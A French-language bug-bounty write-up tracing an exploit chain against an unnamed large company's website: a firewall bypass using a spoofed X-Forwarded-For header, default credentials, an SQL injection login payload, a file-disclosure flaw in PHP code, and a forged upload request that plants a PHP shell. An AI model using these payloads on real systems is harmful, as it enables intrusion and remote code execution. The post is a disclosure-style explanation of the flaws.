IP spoofing FTW

Table of Contents

Starting from the bottom

Je parlerai aujourd’hui d’une entreprise très importante, ou des millions de personnes vont chaque jour et qui a plus de 20 millions de clients !

Le site avait l’air plutôt pas trop mal sécurisé au début, la partie la plus embêtante étant le fait qu’ils utilisaient Datadome.

Sur mon FFUF, j’ai souvent l’habitude d’avoir une config un peu “différente” (User-Agent exotique, headers en plus…) et, en le lancant, j’ai découvert que non seulement celui-ci n’était pas limité par Datadome mais, qu’en plus, il avais accès à des choses la ou moi j’avais des 403.

Après une rapide vérification, il s’est avéré que c’était à cause du header X-Forwarded-For paramétré sur 127.0.0.1

Grâce à ca, non seulement je bypassais le firewall mais, en plus, j’avais accès à /server-info et /server-status entre autre (derrière une 401).

Quelques essais plus tard sur cette 401 et, au final, le login / password était très classique : c’était le nom de l’entreprise…

Gathering intel is the key

En fouillant les informations trouvées, j’en ai eu des très interessantes:

  • Les endpoints des différentes zones admin
  • Les IPs autorisées à acceder à ces endpoints

Voici un exemple du contenu du /server-info m’ayant permis de voir les IPs autorisées (évidemment, j’ai anonymisé les IPs):

<Location "/webteam-admin">
	order deny,allow
	deny from all
	allow from 63.45.67.89/30
	allow from 63.78.56.12/29
	allow from 63.34.12.99/30
	allow from 63.67.89.123/29
</Location>
<Location "/webadmin-store">
	order deny,allow
	deny from all
	allow from 63.98.76.54/30
	allow from 63.34.56.200/29
	allow from 63.234.56.23/30
	allow from 63.12.45.67/29
	allow from 63.56.78.34
	allow from 185.34.56.200
	allow from 63.78.56.12/29
<Location>

Going where no-one has ever gone

J’ai donc mis une de ces IP dans mon header X-Forwarded-For puis je suis allé voir à quoi ressemblais ces zones admins…

Pas grand chose à se mettre sous la dent à première vue excepté une zone d’authentification login / password.

En commençant par /webteam-admin, j’essaye quelques trucs et, bingo, il y a une SQL Injection !
Un simple payload type admin'--+- suffit à me connecter en temps qu’admin …

Je réitère l’exploit sur /webadmin-store mais sans succès.
Je lance à nouveau mon outil préféré (ffuf) et trouve quelques fichiers JS.

En les fouillant, je remarque qu’il est possible de récupérer des fichiers PDF via l’utilisation de action=pdf sur /webadmin-store/pdf.php.

J’essaye et, la encore, il n’y a visiblement pas de protection en place pour vérifier que la personne est connectée. De plus, il y a une vulnérabilité de type Local File Disclosure me permettant de récupérer n’importe quel fichier sur le serveur :)

L’utilisation des / était possible mais, la partie du code source de la page qui était utilisée pour récupérer les fichiers nous permet de voir qu’il y aurait pu y avoir un bypass si nécessaire :

header('Content-type: application/pdf');
header('Content-Disposition: inline; filename=doc.pdf');
header('Last-Modified: '.gmdate('D, d M Y H:i:s') . ' GMT');
header('Cache-Control: no-store, no-cache, must-revalidate');
header('Cache-Control: pre-check=0, post-check=0, max-age=0');
header('Pragma: anytextexeptno-cache', true);
header('Cache-control: private');
header('Expires: 0');
readfile(str_replace("_", "/", $_REQUEST['id']));

Des fois, l’utilisation des / est bloqué et, c’est aussi pourquoi je conseille souvent d’essayer de télécharger la page sur laquelle vous vous trouvez quand vous avez quelque chose qui ressemble à de l’include !

To the moon

Evidemment, il y a bien plus à dire mais, pour le plaisir, je vais revenir sur /webteam-admin ou j’ai été connecté en admin. Suite à ça, mon burp a capté pas mal d’endpoints et de fichiers JS.

L’un d’eux a particulièrement retenu mon attention… Celui-ci avait un lien avec la vulnérabilité que j’avais trouvé un peu plus tôt (La Local File Disclosure). Comme bien souvent, s’il est possible de récupérer des factures, il est aussi possible de les upload…

J’ai donc trouvé la requête permettant de le faire ! Après l’avoir forgée, voici à quoi elle ressemblait :

POST /webadmin-store/pdf.php HTTP/1.1
Host: [redacted]
Content-Type: multipart/form-data; boundary=----48456566655889104878740450005
Content-Length: 962


-----------------------------48456566655889104878740450005
Content-Disposition: form-data; name="action"

pdf
-----------------------------48456566655889104878740450005
Content-Disposition: form-data; name="type"

upload
-----------------------------48456566655889104878740450005
Content-Disposition: form-data; name="facture"; filename="Kuromatae.pdf"
Content-Type: application/octet-stream

<?php system("id");?>
-----------------------------48456566655889104878740450005
Content-Disposition: form-data; name="nomfacture"

kuromatae-zef48zef4zefvre1.php
-----------------------------48456566655889104878740450005
Content-Disposition: form-data; name="lienfacture"

?action=pdf&id=_var_www_redacted_assets_kuromatae-zef48zef4zefvre1.php
-----------------------------48456566655889104878740450005
Content-Disposition: form-data; name="pathfacture"

/var/www/[redacted]/assets/
-----------------------------48456566655889104878740450005--

Comme vous pouvez le voir, il y a plusieurs problèmes dans cette requête…

  • L’absence d’authentification
  • La possibilité de nommer le fichier de la manière dont on le souhaite
  • On peux le mettre dans le repertoire que l’on veux

The end ?

J’ai trouvé de nombreuses autres choses mais, je ne pense pas que cela soit très utile de les énumérer ici ! Le but était de montrer une petite chain bien sympa en partant, encore une fois, de pas grand chose (un simple header).


Bonne journée :)
~ Kuromatae